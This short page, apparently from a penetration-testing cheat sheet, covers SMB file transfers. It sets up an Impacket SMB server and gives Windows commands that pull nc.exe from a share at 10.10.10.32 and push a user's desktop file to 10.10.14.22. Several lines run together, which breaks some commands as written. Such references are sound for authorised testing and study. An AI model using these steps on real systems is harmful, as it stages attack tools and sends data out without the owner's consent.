SMB Transfers
Impacket SMB Server
# Basic
sudo impacket-smbserver share -smb2support /tmp/smbshare
# With authentication (for newer Windows that block guest access)
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password testWindows — Copy from SMB
copy \\10.10.10.32\share\nc.exenet use n: \\10.10.10.32\share /user:test test
copy n:\nc.exeWindows — Copy to SMB (Upload)
copy C:\Users\john\Desktop\output.txt \\10.10.14.22\share\output.txtSMB over HTTP (WebDav)
Last updated